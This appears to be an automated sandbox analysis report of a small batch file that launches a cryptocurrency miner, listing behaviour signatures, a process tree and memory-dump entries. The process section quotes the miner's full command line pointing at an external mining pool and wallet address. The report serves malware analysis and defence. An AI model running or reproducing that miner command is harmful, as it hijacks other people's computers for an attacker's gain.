Analysis

  • max time kernel
    898s
  • max time network
    902s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    09/10/2026, 16:07

General

  • Target
    amz(Copy 20).bat
  • Size 144B
  • Sample261009-tknefabs8x
  • SHA256 a8492870164796ca0a31571503d8bae46236df249f2581e968bd6edc9cbc9014
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • UPX packed file 59 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Checks SCSI registry key(s) 3 TTPs 62 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Modifies registry class 38 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 46 IoCs
  • Suspicious use of FindShellTrayWindow 56 IoCs
  • Suspicious use of SendNotifyMessage 43 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\amz(Copy 20).bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:4896
    • C:\Users\Admin\AppData\Local\Temp\zrplant.exe
      zrplant.exe -a minotaurx -o stratum+tcp://minotaurx.eu.mine.zpool.ca:7019 -u dgb1qs6n8mf8rwerfd872awwyp3pmy5uuv80gwg7z0m -p c=DGB,zap=MAZA -t 4
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:4468
  • C:\Windows\system32\sihost.exe
    sihost.exe
    1⤵
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of WriteProcessMemory
    PID:1648
    • C:\Windows\explorer.exe
      explorer.exe /LOADSAVEDWINDOWS
      2⤵
      • Boot or Logon Autostart Execution: Active Setup
      • Enumerates connected drives
      • Checks SCSI registry key(s)
      • Modifies Internet Explorer settings
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of SetWindowsHookEx
      PID:2296
  • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
    "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
    1⤵
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:1056
  • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
    "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
    1⤵
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:2408
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k GPSvcGroup
    1⤵
      PID:4424
    • C:\Windows\System32\SecurityHealthHost.exe
      \\?\C:\Windows\System32\SecurityHealthHost.exe {08728914-3F57-4D52-9E31-49DAECA5A80A} -Embedding
      1⤵
        PID:3204

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            prep_Activatable Class_Hermes_perf.cache

            • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
            • Size 607B
            • SHA256 be6b74e52e5eef1f1c27c0976bf3bf1bfa99958c00bbef2898a602f691be6dae
            • MD5 SHA1 SHA512 TLSH

            prep_Activatable Class_Hermes_perf.cache

            • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
            • Size 595B
            • SHA256 d4e60617c2afab8263febabe7f14f18595715078d71307a8cefe0707dae76dee
            • MD5 SHA1 SHA512 TLSH

            memory/2408-79-0x000002C183FD0000-0x000002C183FF0000-memory.dmp

            memory/2408-81-0x000002C185B10000-0x000002C185C10000-memory.dmp

            memory/2408-97-0x000002C185950000-0x000002C185970000-memory.dmp

            memory/2408-111-0x000002C185F90000-0x000002C185FB0000-memory.dmp

            memory/2408-64-0x000002C182ED0000-0x000002C182FD0000-memory.dmp

            memory/2408-66-0x000002C182ED0000-0x000002C182FD0000-memory.dmp

            memory/4468-17-0x00007FF737F50000-0x00007FF7386FD000-memory.dmp

            memory/4468-37-0x00007FF737F50000-0x00007FF7386FD000-memory.dmp

            memory/4468-10-0x00007FF737F50000-0x00007FF7386FD000-memory.dmp

            memory/4468-11-0x00007FF737F50000-0x00007FF7386FD000-memory.dmp

            memory/4468-12-0x00007FF737F50000-0x00007FF7386FD000-memory.dmp

            memory/4468-13-0x00007FF737F50000-0x00007FF7386FD000-memory.dmp

            memory/4468-14-0x00007FF737F50000-0x00007FF7386FD000-memory.dmp

            memory/4468-15-0x00007FF737F50000-0x00007FF7386FD000-memory.dmp

            memory/4468-16-0x00007FF737F50000-0x00007FF7386FD000-memory.dmp

            memory/4468-0-0x00007FF737F50000-0x00007FF7386FD000-memory.dmp

            memory/4468-18-0x00007FF737F50000-0x00007FF7386FD000-memory.dmp

            memory/4468-19-0x00007FF737F50000-0x00007FF7386FD000-memory.dmp

            memory/4468-20-0x00007FF737F50000-0x00007FF7386FD000-memory.dmp

            memory/4468-21-0x00007FF737F50000-0x00007FF7386FD000-memory.dmp

            memory/4468-22-0x00007FF737F50000-0x00007FF7386FD000-memory.dmp

            memory/4468-23-0x00007FF737F50000-0x00007FF7386FD000-memory.dmp

            memory/4468-24-0x00007FF737F50000-0x00007FF7386FD000-memory.dmp

            memory/4468-25-0x00007FF737F50000-0x00007FF7386FD000-memory.dmp

            memory/4468-26-0x00007FF737F50000-0x00007FF7386FD000-memory.dmp

            memory/4468-27-0x00007FF737F50000-0x00007FF7386FD000-memory.dmp

            memory/4468-28-0x00007FF737F50000-0x00007FF7386FD000-memory.dmp

            memory/4468-29-0x00007FF737F50000-0x00007FF7386FD000-memory.dmp

            memory/4468-30-0x00007FF737F50000-0x00007FF7386FD000-memory.dmp

            memory/4468-31-0x00007FF737F50000-0x00007FF7386FD000-memory.dmp

            memory/4468-32-0x00007FF737F50000-0x00007FF7386FD000-memory.dmp

            memory/4468-33-0x00007FF737F50000-0x00007FF7386FD000-memory.dmp

            memory/4468-34-0x00007FF737F50000-0x00007FF7386FD000-memory.dmp

            memory/4468-35-0x00007FF737F50000-0x00007FF7386FD000-memory.dmp

            memory/4468-36-0x00007FF737F50000-0x00007FF7386FD000-memory.dmp

            memory/4468-9-0x00007FF737F50000-0x00007FF7386FD000-memory.dmp

            memory/4468-38-0x00007FF737F50000-0x00007FF7386FD000-memory.dmp

            memory/4468-39-0x00007FF737F50000-0x00007FF7386FD000-memory.dmp

            memory/4468-40-0x00007FF737F50000-0x00007FF7386FD000-memory.dmp

            memory/4468-41-0x00007FF737F50000-0x00007FF7386FD000-memory.dmp

            memory/4468-42-0x00007FF737F50000-0x00007FF7386FD000-memory.dmp

            memory/4468-43-0x00007FF737F50000-0x00007FF7386FD000-memory.dmp

            memory/4468-8-0x00007FF737F50000-0x00007FF7386FD000-memory.dmp

            memory/4468-7-0x00007FF737F50000-0x00007FF7386FD000-memory.dmp

            memory/4468-6-0x00007FF737F50000-0x00007FF7386FD000-memory.dmp

            memory/4468-5-0x00007FF737F50000-0x00007FF7386FD000-memory.dmp

            memory/4468-4-0x00007FF737F50000-0x00007FF7386FD000-memory.dmp

            memory/4468-96-0x00007FF737F50000-0x00007FF7386FD000-memory.dmp

            memory/4468-3-0x00007FF737F50000-0x00007FF7386FD000-memory.dmp

            memory/4468-2-0x00007FF737F50000-0x00007FF7386FD000-memory.dmp

            memory/4468-1-0x0000019E818F0000-0x0000019E81910000-memory.dmp

            memory/4468-232-0x00007FF737F50000-0x00007FF7386FD000-memory.dmp

            memory/4468-233-0x00007FF737F50000-0x00007FF7386FD000-memory.dmp

            memory/4468-234-0x00007FF737F50000-0x00007FF7386FD000-memory.dmp

            memory/4468-235-0x00007FF737F50000-0x00007FF7386FD000-memory.dmp

            memory/4468-236-0x00007FF737F50000-0x00007FF7386FD000-memory.dmp

            memory/4468-238-0x00007FF737F50000-0x00007FF7386FD000-memory.dmp

            memory/4468-239-0x00007FF737F50000-0x00007FF7386FD000-memory.dmp

            memory/4468-240-0x00007FF737F50000-0x00007FF7386FD000-memory.dmp

            memory/4468-241-0x00007FF737F50000-0x00007FF7386FD000-memory.dmp

            memory/4468-242-0x00007FF737F50000-0x00007FF7386FD000-memory.dmp

            memory/4468-243-0x00007FF737F50000-0x00007FF7386FD000-memory.dmp

            memory/4468-244-0x00007FF737F50000-0x00007FF7386FD000-memory.dmp

            memory/4468-245-0x00007FF737F50000-0x00007FF7386FD000-memory.dmp

            memory/4468-246-0x00007FF737F50000-0x00007FF7386FD000-memory.dmp

            memory/4468-247-0x00007FF737F50000-0x00007FF7386FD000-memory.dmp